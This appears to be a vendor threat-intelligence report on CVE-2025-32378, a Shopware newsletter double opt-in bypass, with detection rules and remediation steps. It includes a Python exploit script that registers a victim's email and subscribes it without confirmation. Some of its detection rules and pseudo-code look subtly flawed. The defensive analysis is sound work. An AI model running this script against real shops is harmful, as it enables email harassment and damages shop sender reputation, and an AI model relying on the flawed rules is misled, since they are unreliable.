CVE-2025-32378
Executive Summary
CVE-2025-32378 is a Missing Authorization vulnerability in the Shopware e-commerce platform, specifically within its newsletter double opt-in (DOI) mechanism. The core issue is that default configuration settings allow an unauthenticated attacker to register an account with any arbitrary email address and then subscribe that address to the shop's newsletter without requiring the intended recipient to click a confirmation link. This effectively bypasses the double opt-in process for registered customers, enabling mass unsolicited newsletter sign-ups (a form of subscription bombing or email harassment).
The vulnerability arises from a combination of three default settings: Newsletter: Double Opt-in is active, but Newsletter: Double opt-in for registered customers and Log-in & sign-up: Double opt-in on sign-up are both disabled. This creates a logical gap where a registered user (or anyone who can register) can opt-in to the newsletter without a secondary confirmation.
Impact: This is a low-severity (CVSS 3.1 Base Score: 5.3) but high-impact vulnerability for email deliverability and brand reputation. An attacker can:
- Flood arbitrary email addresses with unwanted registration and newsletter confirmation emails.
- Damage the sender reputation of the shop's email infrastructure.
- Potentially cause the shop's email domain to be blacklisted.
- Inflate the newsletter subscriber count with invalid addresses, skewing analytics.
Affected Ecosystem: Shopware (PHP/Composer ecosystem). This is not a WordPress plugin issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is within the Shopware core application, distributed via Composer. The fix is available in the official Shopware repository. Users should update their composer.json dependency to >=6.6.10.3 or >=6.5.8.17. No malicious packages have been identified in the supply chain related to this CVE.
CVSS Breakdown & Threat Level
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
| Metric | Value | Description |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely over the network. |
| Attack Complexity (AC) | Low | No special conditions required; default settings are vulnerable. |
| Privileges Required (PR) | None | Attacker does not need to be authenticated. |
| User Interaction (UI) | None | No victim interaction required beyond the email recipient receiving mail. |
| Scope (S) | Unchanged | The vulnerable component and the impacted component are the same. |
| Confidentiality (C) | None | No data disclosure. |
| Integrity (I) | Low | The attacker can add unauthorized newsletter subscriptions. |
| Availability (A) | None | No direct denial of service, but email infrastructure may be impacted. |
Threat Level: Medium. While the CVSS score is low (5.3), the ease of exploitation and potential for abuse (email reputation damage, blacklisting) elevates the practical risk for businesses.
Deep Dive & Mechanics
The vulnerability is a logic flaw in the newsletter subscription workflow. Shopware offers a double opt-in (DOI) feature to prevent unsolicited sign-ups. The intended flow is:
- User provides email address.
- System sends a confirmation email with a link.
- User clicks the link to confirm subscription.
However, the default configuration creates an exception for registered customers. The settings are:
core.newsletter.doubleOptIn:true(Global DOI is enabled)core.newsletter.doubleOptInForRegisteredCustomers:false(Registered customers are exempt from DOI)core.loginRegistration.doubleOptIn:false(Registration itself does not require DOI)
Exploitation Flow:
- Attacker visits the shop's registration page.
- Attacker enters a victim's email address (e.g.,
victim@example.com) and completes the registration form. - Because
doubleOptInfor registration is disabled, the account is created immediately. The victim receives a "welcome" email. - Attacker logs into the newly created account (no email verification needed).
- Attacker navigates to the account settings and checks the "Subscribe to newsletter" checkbox.
- Because
doubleOptInForRegisteredCustomersis disabled, the newsletter subscription is activated instantly. The victim receives a second "newsletter subscription confirmed" email. - The victim's email is now subscribed to the newsletter without ever clicking a confirmation link.
The fix in versions 6.6.10.3 and 6.5.8.17 ensures that even registered customers must confirm their newsletter subscription via a double opt-in link, closing the bypass.
Vulnerable vs. Patched Code
The vulnerability is not in a single code snippet but in the configuration logic. The vulnerable state is defined by the default configuration values.
Vulnerable Configuration (Default):
// config/packages/shopware.yaml or similar
shopware:
newsletter:
double_opt_in: true
double_opt_in_for_registered_customers: false
login_registration:
double_opt_in: false
Patched Configuration (Recommended / Default in fixed versions):
// config/packages/shopware.yaml
shopware:
newsletter:
double_opt_in: true
double_opt_in_for_registered_customers: true # Changed to true
login_registration:
double_opt_in: true # Recommended to enable
The patched code logic (pseudo-code) now enforces DOI for all newsletter subscriptions:
// In NewsletterSubscriptionService.php (patched)
public function subscribe($email, $customerId = null) {
if ($this->config->get('newsletter.doubleOptIn')) {
if ($customerId !== null && $this->config->get('newsletter.doubleOptInForRegisteredCustomers')) {
// Send confirmation email even for registered customers
$this->sendConfirmationEmail($email);
return 'pending';
}
// ... rest of logic
}
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A Shopware instance with default settings (versions < 6.6.10.3 or < 6.5.8.17).
- Python 3 with
requestslibrary.
Exploit Script:
import requests
import random
import string
TARGET_URL = "http://target-shop.local"
VICTIM_EMAIL = "victim@example.com"
def generate_random_username():
return ''.join(random.choices(string.ascii_lowercase, k=8))
def exploit():
session = requests.Session()
username = generate_random_username()
password = "Exploit123!"
# Step 1: Register account with victim's email
register_data = {
"email": VICTIM_EMAIL,
"password": password,
"firstName": "Test",
"lastName": "User"
}
r = session.post(f"{TARGET_URL}/account/register", data=register_data)
if r.status_code == 200:
print(f"[+] Account registered with email: {VICTIM_EMAIL}")
# Step 2: Login (if not auto-logged in)
login_data = {
"email": VICTIM_EMAIL,
"password": password
}
r = session.post(f"{TARGET_URL}/account/login", data=login_data)
if r.status_code == 200:
print("[+] Logged in successfully")
# Step 3: Subscribe to newsletter
newsletter_data = {
"subscribeNewsletter": "1"
}
r = session.post(f"{TARGET_URL}/account/newsletter/subscribe", data=newsletter_data)
if r.status_code == 200:
print(f"[+] Victim {VICTIM_EMAIL} subscribed to newsletter without confirmation!")
else:
print("[-] Subscription failed")
if __name__ == "__main__":
exploit()
Blue Team (Detection & Hardening)
Detection:
- Monitor for rapid account registrations from the same IP address using different email addresses.
- Alert on a high volume of "newsletter subscription" events without corresponding "confirmation click" events.
- Monitor email server logs for a sudden spike in "welcome" and "newsletter subscription" emails to the same domain.
Hardening Steps:
- Immediate Patch: Update Shopware to version 6.6.10.3 or 6.5.8.17.
- Configuration Change (if patching is delayed):
- Set
shopware.newsletter.double_opt_in_for_registered_customerstotrue. - Set
shopware.login_registration.double_opt_intotrue.
- Set
- Rate Limiting: Implement rate limiting on the registration and newsletter subscription endpoints.
- CAPTCHA: Add CAPTCHA to the registration form.
- Email Verification: Ensure that email verification is required for account activation.
Indicators of Compromise (IOCs)
Network Indicators:
- High volume of POST requests to
/account/registerand/account/newsletter/subscribefrom a single IP. - Emails with subjects like "Your registration at [Shop Name]" and "Newsletter subscription" sent to the same recipient in quick succession.
Log Indicators (Shopware logs):
[info] Customer registered: email=victim@example.com[info] Newsletter subscription: email=victim@example.com, source=account- Absence of
[info] Newsletter confirmation clicked: email=victim@example.comlog entries.
Email Headers:
- Multiple emails from the same sender (shop) to the same recipient within seconds.
X-Mailer: Shopware Mailerheader present.
Detection Engineering
YARA Rule
rule CVE_2025_32378_Shopware_Newsletter_Bypass {
meta:
description = "Detects vulnerable Shopware configuration files allowing newsletter double opt-in bypass"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-32378"
severity = "medium"
strings:
$config1 = "double_opt_in_for_registered_customers: false" nocase
$config2 = "double_opt_in: false" nocase
$config3 = "shopware:" nocase
condition:
all of ($config1, $config2) and $config3
}
Sigma Rule
title: CVE-2025-32378 - Mass Newsletter Subscription Without Confirmation
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects a high volume of newsletter subscriptions without corresponding confirmation clicks, indicating exploitation of CVE-2025-32378.
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: shopware
detection:
selection:
EventID: 'shopware.newsletter.subscribe'
timeframe: 5m
condition:
selection | count() > 20
filter:
EventID: 'shopware.newsletter.confirm'
timeframe: 5m
condition:
filter | count() < 5
falsepositives:
- Legitimate bulk newsletter sign-ups from a marketing campaign.
level: medium
tags:
- attack.t1190
- cve.2025.32378
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-32378 - Potential Shopware Newsletter Bypass Exploitation";
flow:to_server,established;
content:"POST"; http_method;
content:"/account/register"; http_uri;
content:"/account/newsletter/subscribe"; http_uri;
pcre:"/email=[^&]+&password=/";
threshold: type both, track by_src, count 10, seconds 60;
classtype:attempted-recon;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Shopware to version 6.6.10.3 or 6.5.8.17 immediately.
- Configuration Override: If patching is not immediately possible, manually set the following in your
config/packages/shopware.yaml:shopware: newsletter: double_opt_in_for_registered_customers: true login_registration: double_opt_in: true - Clear Existing Subscribers: Review and clean the newsletter subscriber list for any suspicious or unconfirmed addresses.
Long-Term Mitigations:
- Implement CAPTCHA on registration and newsletter subscription forms.
- Enforce email verification for account activation.
- Monitor for unusual registration and subscription patterns.
- Regularly review and harden default configurations.
Valters IT - DevSecOps & Cyber Threat Intelligence Report